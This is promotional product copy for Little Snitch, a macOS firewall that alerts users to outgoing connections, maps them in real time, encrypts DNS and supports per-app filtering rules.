Little Snitch intercepts unwanted network connections and lets you decide which apps are allowed to access the internet. Your privacy is in your hands.
Whenever an application attempts to establish a network connection, Little Snitch displays an informative alert. You decide — allow or deny the connection, once or forever.
The interactive network map shows all active connections from your Mac in real time. See at a glance which apps are communicating and with which servers around the world.
Activate Silent Mode so Little Snitch works in the background without alerts. All new connections are automatically allowed or denied, and you can review the decisions later.
Built-in DNS encryption protects your queries from interception. ISPs and third parties won't be able to track which websites you visit. Supports DNS over TLS and DNS over HTTPS.
Create, edit, and group filtering rules with ease. Configure access for each application, domain, or port. Import ready-made profiles or build your own from scratch.
